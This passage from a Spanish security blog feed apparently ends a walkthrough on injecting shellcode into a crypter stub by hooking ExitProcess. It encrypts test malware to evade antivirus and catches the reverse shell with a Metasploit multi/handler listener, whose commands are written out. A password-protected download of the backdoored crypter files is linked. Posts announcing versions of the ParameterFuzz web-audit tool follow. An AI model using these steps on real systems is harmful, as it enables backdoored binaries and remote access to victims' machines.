<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMFNAUrJSf7n8fTsRkW1Py8UiXdTEoH4j7R7naZxp94EO6KfrPpyzAIWJVI17Os6_jrvbUl-P1_2Tlztlt97BYihvu6DbHFiTM3ufn98q2MmX5eB-7i978cB4ZRFo6AtDLKsAmwLDxyPZy/s1600/11%252Bpaste%252Bshellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMFNAUrJSf7n8fTsRkW1Py8UiXdTEoH4j7R7naZxp94EO6KfrPpyzAIWJVI17Os6_jrvbUl-P1_2Tlztlt97BYihvu6DbHFiTM3ufn98q2MmX5eB-7i978cB4ZRFo6AtDLKsAmwLDxyPZy/s1600/11%252Bpaste%252Bshellcode.png" height="588" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">Quedará
de la siguiente manera incluida dentro del Stub.exe.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIfgrRH3FcnO-DefaO42Og0WhIS_SR4fF-_tWiiz6fv0v_ERBG5azgFOcm9JkH8uf2pfU2PC6517r44MOezFhvETv89L05OCsyfbDBizMiM5-dwyYkUF_4YQ6HUO5H2nhOnPsZDryF26L9/s1600/12%252Bpaste2%252Bshellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIfgrRH3FcnO-DefaO42Og0WhIS_SR4fF-_tWiiz6fv0v_ERBG5azgFOcm9JkH8uf2pfU2PC6517r44MOezFhvETv89L05OCsyfbDBizMiM5-dwyYkUF_4YQ6HUO5H2nhOnPsZDryF26L9/s1600/12%252Bpaste2%252Bshellcode.png" height="640" width="580" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">Será
necesario redireccionar el flujo de ejecución a nuestro injerto, con lo que he
preferido suplantar una función, para que se ejecute nuestro código inyectado.
Con lo que podemos realizar con botón derecho click sobre “All intermodular
calls”.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwedSTWj_3PSpV190asYD-RT1iMw12kA8YjqyQyKMmRv31JWaISLxt6BoNTzUF8GURSzdDoOLs7MZHacTvgRnf1YYeXGf72e1Cft7QWEV8LTZwmEpp9cCfP7YkaKaq7vlOoP36XdZTB8BY/s1600/13%252Bintermodular+calls.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwedSTWj_3PSpV190asYD-RT1iMw12kA8YjqyQyKMmRv31JWaISLxt6BoNTzUF8GURSzdDoOLs7MZHacTvgRnf1YYeXGf72e1Cft7QWEV8LTZwmEpp9cCfP7YkaKaq7vlOoP36XdZTB8BY/s1600/13%252Bintermodular+calls.png" height="560" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">El
<i>Stub.exe</i> realizará la llamada a <i>Kernel32.ExitProcess</i> cuando finalice su
ejecución, con lo que podemos utilizarlo para cambiar el flujo. Tecla <i>Enter </i>sobre el
<i>CALL </i>o botón derecho para visualizar el código desensamblado.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-kWLwhvURO7xk_iQbQdF5rBiJzy9m6FkyPsQyzvtqAUlEgWo5lO6CUJRall7GhyVNXJLNXncRI2mjJ9NMLBTFCOBCahw-VULFu2l84-FCMFlyqlS3RbiXTG1iCan5grssuDSE6QMj3pF/s1600/14%252BExitProcess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe-kWLwhvURO7xk_iQbQdF5rBiJzy9m6FkyPsQyzvtqAUlEgWo5lO6CUJRall7GhyVNXJLNXncRI2mjJ9NMLBTFCOBCahw-VULFu2l84-FCMFlyqlS3RbiXTG1iCan5grssuDSE6QMj3pF/s1600/14%252BExitProcess.png" height="440" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; font-family: 'Courier New', Courier, monospace; line-height: 115%;">Incluimos
una instrucción de salto largo <i>JMP </i>para llegar hasta la dirección de memoria
donde hemos realizado el injerto (10005200). Ya tenemos la redirección.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; font-family: 'Courier New', Courier, monospace; line-height: 115%;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdnAraEQh1sttMTpEY2p0NgchgAbfnOGo3MsxVPIhohnvty_oyr0v0WT89QNcMy6mBtTuL8dOWwuyc1fLwIVXa0AjuXH5joDhmPewCt32WxhSJnpo7D4miqsGqP4_5GW83WhpHgjHI2tWL/s1600/15%252Beditando%252Bla%252Bfunci%25C3%25B3n.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdnAraEQh1sttMTpEY2p0NgchgAbfnOGo3MsxVPIhohnvty_oyr0v0WT89QNcMy6mBtTuL8dOWwuyc1fLwIVXa0AjuXH5joDhmPewCt32WxhSJnpo7D4miqsGqP4_5GW83WhpHgjHI2tWL/s1600/15%252Beditando%252Bla%252Bfunci%25C3%25B3n.png" height="224" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">Copiaremos
las modificaciones sobre nuestro <i>Stub.exe</i>, con “Copy to executable > All
modifications > Save”.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh_b5l4Ac_cnDEY1mdTAOMtqG0dfXNr1sjY2Q2N6goz8QlqDSIYsP93Nc_jRC4klsSDTBOxf5PFniGGJSJb4hdzxwbVk6cfABDvh8ldv3rC4N3x_VRqXZKtlMDKrvDHVfhjQ7tF3Pu77Of/s1600/16%252Bsave.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh_b5l4Ac_cnDEY1mdTAOMtqG0dfXNr1sjY2Q2N6goz8QlqDSIYsP93Nc_jRC4klsSDTBOxf5PFniGGJSJb4hdzxwbVk6cfABDvh8ldv3rC4N3x_VRqXZKtlMDKrvDHVfhjQ7tF3Pu77Of/s1600/16%252Bsave.png" height="508" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><i>Estoy
nervioso, estoy nervioso, aaaaaaaaaaah! Jajaja</i><o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: small;"><span style="font-weight: normal;">El <i>Crypter </i>que
he utilizado para la prueba de concepto es </span>OP Crypter<span style="font-weight: normal;">, el cual compilé hace un
tiempo para realizar </span><a href="http://www.enelpc.com/2013/03/hackshield-pro-ko-eneldll-injector.html">HackShield
Pro K.O. EnelDLL Injector</a><span style="font-weight: normal;"> y la entrada en la cual </span><a href="http://www.enelpc.com/2013/05/antivirus-ko-cifrando-un-malware-mano.html">cifraba
malware de forma manual</a><span style="font-weight: normal;">. Ya que es un <i>Crypter </i>en <i>Delphi, Open Source</i> y funciona
en versiones nuevas de </span>Windows <span style="font-weight: normal;">he decidido seguir utilizándolo.<o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><o:p><span style="font-family: Courier New, Courier, monospace; font-size: small;"> </span></o:p></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;">La siguiente
imagen muestra, como se cifra un malware de prueba… con <i>OP Crypter</i> y el
<i>Stub.exe</i> con <i>Backdoor </i>de regalito.</span></span></h3>
<div>
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><br /></span></span></div>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGqw9lmbmAES7purVpsPLMZiVoG4hhhm1yH-JasCEODmBnR8GF91Nh4ocPvJYcI8jYwFHOAR-tNeh221JeWCiefg6Il1gLkJLKXnGae51EwnfIP-GipenvKNBVkWHkLzpIe6Xb4uWlr5Au/s1600/17%252Bcifrando%252Bmalware.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGqw9lmbmAES7purVpsPLMZiVoG4hhhm1yH-JasCEODmBnR8GF91Nh4ocPvJYcI8jYwFHOAR-tNeh221JeWCiefg6Il1gLkJLKXnGae51EwnfIP-GipenvKNBVkWHkLzpIe6Xb4uWlr5Au/s1600/17%252Bcifrando%252Bmalware.png" height="316" width="640" /></a></div>
</span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><i>Nuevamente me
sale el conejito, parece que vaya por ahí buscando conejitos…!!</i><o:p></o:p></span></span></h3>
<div>
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><br /></span></span></div>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: small;"><span style="font-weight: normal;">Utilizaremos el
Multi Handler de Metasploit para ponernos a la escucha antes de ejecutar el
</span>Malware.exe <span style="font-weight: normal;">cifrado con mi <i>Stub</i>.<o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
</h3>
<div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;">use multi/handler</span></i></div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;">set payload windows/shell/reverse_tcp</span></i></div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;">set LPORT 4444</span></i></div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;">set LHOST 192.168.1.103</span></i></div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;">exploit</span></i></div>
</div>
<div>
<i><span style="color: red; font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDUjuBkP8uLapLbzaW4VjYItUU2SXVERKk2SWjFn8SB-1Ib1jTTuiF7ZfQv_bYU8wl7G5qvk4TEg-ckhw7QYzKm7Hg4s56XKtaQuKntEWpyRI_rVXtutmZQBBt0A2V64s4VovZ-T7v2kYR/s1600/18%252Bhandler.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDUjuBkP8uLapLbzaW4VjYItUU2SXVERKk2SWjFn8SB-1Ib1jTTuiF7ZfQv_bYU8wl7G5qvk4TEg-ckhw7QYzKm7Hg4s56XKtaQuKntEWpyRI_rVXtutmZQBBt0A2V64s4VovZ-T7v2kYR/s1600/18%252Bhandler.png" height="400" width="355" /></a></div>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: small;"><span style="font-weight: normal;">Doble clic sobre
<i>Malware.exe</i>, este es abierto y a la derecha vemos como el injerto con la ShellCode nos devuelve acceso a la consola de Windows… <i>Ya te digo! </i></span><span style="font-weight: normal;"><i>=)</i></span><span style="font-weight: normal;"><o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><o:p><span style="font-family: Courier New, Courier, monospace; font-size: small;"> </span></o:p></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLJ6ea6dfsp2-1P5_8suFLfRNdqJndBWp8unl7zy-sAq33JD1B7VCqd51snRFSluvJxpVL4KNKT8cyuPpKEaSCWiIWamIAPtHxG52f_3Mf69OSqe4EeytR4SB3Ku0EIeODgvDmKMa7R6M2/s1600/19%252Bejecuci%25C3%25B3n%252Bshellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLJ6ea6dfsp2-1P5_8suFLfRNdqJndBWp8unl7zy-sAq33JD1B7VCqd51snRFSluvJxpVL4KNKT8cyuPpKEaSCWiIWamIAPtHxG52f_3Mf69OSqe4EeytR4SB3Ku0EIeODgvDmKMa7R6M2/s1600/19%252Bejecuci%25C3%25B3n%252Bshellcode.png" height="276" width="640" /></a></div>
<o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
</h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<a href="https://docs.google.com/uc?id=0B74kMAGqImI9aHJCRFQwdnpJMHM&export=download" style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: x-small;">He subido los archivos de la carpeta <i>Delphi Crypter</i>, para que puedan jugar con ellos a este enlace.</span></a></h3>
<div>
<b style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: x-small;">Pass:<span style="color: red;"> 4n0nym0us</span></span></b></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: small;"><span style="font-weight: normal;"><br /></span></span></div>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: small;"><span style="font-weight: normal;">Por otro lado aprovecho
para contarles que ando con el desarrollo de la próxima versión de </span>ParameterFuzz<span style="font-weight: normal;">, si alguien desea hacerle un testeo estaré muy
agradecido, ya que he incorporado nuevas funcionalidades y cambios importantes
que espero sean de su agrado… yo me siento muy feliz de tener un proyecto y
poder compartirlo con todos vosotros.<o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><o:p><span style="font-family: Courier New, Courier, monospace; font-size: small;"> </span></o:p></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;"><i>¿Quién les
asegura que ParameterFuzz no tenga una shellcode escondida? Naaaa!!</i><o:p></o:p></span></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><o:p><span style="font-family: Courier New, Courier, monospace; font-size: small;"> </span></o:p></span></h3>
<h3 style="background-color: white; background-position: initial initial; background-repeat: initial initial; margin: 0cm 0cm 0.0001pt; text-align: justify;">
<span style="font-weight: normal;"><span style="font-family: Courier New, Courier, monospace; font-size: small;">Saludos 4n4les!
;)</span></span></h3>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com11tag:blogger.com,1999:blog-2707641124274171597.post-70146966023329149082014-02-09T21:21:00.001+01:002014-02-09T21:21:52.884+01:00ParameterFuzz v1.8<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Han pasado tantas cosas… que ni
te imaginas, ciertamente la pereza me impide contarlas todas juntas, con lo que
trataré de hacerlo al estilo “Jack el destripador”, vamos por partes.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Son ahora mismo las 21:00 de la noche,
es domingo <i>¿Pero qué hago aquí?</i> Seguramente en otro momento de mi vida estaría en
un bar de mala muerte preguntándome lo mismo, un vago recuerdo que tardaría
semanas en borrarse finalmente, pero no más que en despedirse de mí estos
grados etílicos. Desde luego hay cosas que nunca cambian. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ya que la lluvia no ha cesado
durante todo el fin de semana, estimo que hoy es un día en el que el remedio
más cercano se cura con una dosis de inspiración. A tu Dios gracias por hacer
que me acurruque en una esquina del sofá con el frío acechando, no teniendo más
remedio que sentarme a escribir y describir la angustia que siento a una estufa
abrazado. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Dicen que una imagen vale más que
mil palabras, esta espero sea de su agrado.<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/rZBuyZp7NlM?feature=player_embedded' frameborder='0'></iframe></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descargar ParameterFuzz v1.8:</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://docs.google.com/uc?id=0B74kMAGqImI9YmhITTJVX0NnSVk&export=download">https://docs.google.com/uc?id=0B74kMAGqImI9YmhITTJVX0NnSVk&export=download</a><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: Courier New, Courier, monospace;">PD: Actualmente estoy teniendo algún problema con <a href="https://code.google.com/p/parameterfuzz/">https://code.google.com/p/parameterfuzz/</a></span><span style="font-family: 'Courier New', Courier, monospace;"> con lo que trataré de solucionarlo lo antes posible.</span></span></div>
<br /><div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com0tag:blogger.com,1999:blog-2707641124274171597.post-10646637470045367932013-10-04T20:26:00.000+02:002013-10-04T20:26:26.754+02:00ParameterFuzz v1.7<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ni mucho menos vengo a reinventar el concepto de auditoría
Web, pero sí trataré de aportar mi granito de arena, dando más peso en aquellas
cosas que me resultan atractivas a la hora de llevarlas a cabo. Supongo que
cada quien, utiliza sus propias técnicas de recolecta de información<i> </i>para determinar en cierta medida, la
inmensidad o simplicidad del dominio a auditar. En lo personal, rara vez acudo
a ataques de <i>Spidering</i> para empezar a
probar parámetros, aunque esto sea necesario para el postureo... ejemm. Sencillamente
mi <i>footprinting </i>personal, termina ciñéndose
normalmente a búsquedas avanzadas en Google, cuando termino barriendo todo el
contenido indexado, empiezo levemente a “automatizar”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En esta versión de <b>ParameterFuzz</b>,
he pensado que las aplicaciones que había diseñado para la anterior versión, ya
eran suficientes y que probablemente lo que necesitase fuesen ciertos arreglos
para utilizar la herramienta de una forma más cómoda. Por otro lado, las
herramientas en esta nueva versión, han evolucionado para ayudar al auditor en
cada tarea. Realmente hasta que no realizas una auditoría con PF 1.6, no sabes de
sus defectos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Intentando abarcar estas nuevas ideas, se me ocurrió que sería
óptimo que toda la URL analizada, se enviase de la manera más sencilla posible,
desde una sola caja de texto. De esta forma se evita el rellenar las tediosas
configuraciones sobre puertos y protocolos de envío. De igual manera, era
necesario no separarme demasiado de lo que realmente es PF, un navegador de Internet
Explorer embebido. Con lo que presionando la tecla Enter, se enviará la
petición actual.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj18iH2GyWqWoeRSMLxxbDIblDKRJ6VNA0IgQBTHIYojmHf8csA8_L036YF_eg7-IxQx2StOvcaoO3rjPu4TAIraBpqzG2k2hgGN0Ah9jm1xNjlOwviYahL4_tZQaaVkQEAmUVKCqaNIFq-/s1600/ParameterFuzz%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj18iH2GyWqWoeRSMLxxbDIblDKRJ6VNA0IgQBTHIYojmHf8csA8_L036YF_eg7-IxQx2StOvcaoO3rjPu4TAIraBpqzG2k2hgGN0Ah9jm1xNjlOwviYahL4_tZQaaVkQEAmUVKCqaNIFq-/s640/ParameterFuzz%252B1.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Una de las herramientas con la que más me he divertido,
posiblemente se tratase del detector de fugas. A parte de los diccionarios
internos de la aplicación para detectar errores en el código de las páginas, he
pensado que siempre suele faltar en herramientas de este tipo, la opción de
configuración de nuestros propios diccionarios. En este caso, he incluido un
diccionario de errores comunes, otro sobre posibles malware </span><i style="font-family: 'Courier New', Courier, monospace;">HTML/Javascript</i><span style="font-family: 'Courier New', Courier, monospace;"> y por último, uno de
pocas palabras para detectar BlackSEO.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como siempre, según naveguemos por los dominios, se
monitorizarán automáticamente las fugas en busca de algo interesante en el
código fuente, si se detecta una fuga, la cara de <i>V de Vendetta</i> aparecerá en la parte baja de la aplicación. En el
siguiente caso, ParameterFuzz ha encontrado una página que contiene cadenas de
un popular malware <i>Javascript</i>.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiNKOgMyV21F5UerNdUdi0v_POg6XDijfX5DMiIa3zdeqMcjV0O6YyYvEo6JrZ0MH1L1aYAu4qsmSLSoGapsmZ5qivtF7Hdgnle7njswE1XkqldNMpaDu6apVGAi-Yvbhh9UE-PxQaAXpp/s1600/ParameterFuzz%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiNKOgMyV21F5UerNdUdi0v_POg6XDijfX5DMiIa3zdeqMcjV0O6YyYvEo6JrZ0MH1L1aYAu4qsmSLSoGapsmZ5qivtF7Hdgnle7njswE1XkqldNMpaDu6apVGAi-Yvbhh9UE-PxQaAXpp/s640/ParameterFuzz%252B2.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Otra de las opciones agregadas, es la simulación a los
conocidos plugins que tienen los navegadores, para agregar diferentes </span><i style="font-family: 'Courier New', Courier, monospace;">User-Agent</i><span style="font-family: 'Courier New', Courier, monospace;"> en las peticiones. Dentro de
la herramienta </span><i style="font-family: 'Courier New', Courier, monospace;">Add HTTP Header</i><span style="font-family: 'Courier New', Courier, monospace;">
encontraremos el listado.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTg4nqgMejhhebUx4_nKgnZ6FHUBt-530kemnGGveWQrkaxhKOrg-80OxX5sKC5q9EwkCPz1AoBrAmWjuWNYxtHaUtMAeUCNnuUoRyakpHEwQyo5aLuEbNaMI8nzLLK6Tu7koykvdeDOU4/s1600/ParameterFuzz%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTg4nqgMejhhebUx4_nKgnZ6FHUBt-530kemnGGveWQrkaxhKOrg-80OxX5sKC5q9EwkCPz1AoBrAmWjuWNYxtHaUtMAeUCNnuUoRyakpHEwQyo5aLuEbNaMI8nzLLK6Tu7koykvdeDOU4/s640/ParameterFuzz%252B3.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Combinando estas dos herramientas con un mínimo de idea,
podremos encontrar algunos casos como el visto en Las Rutas Meigas vendiendo </span><b style="font-family: 'Courier New', Courier, monospace;">Viagra</b><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
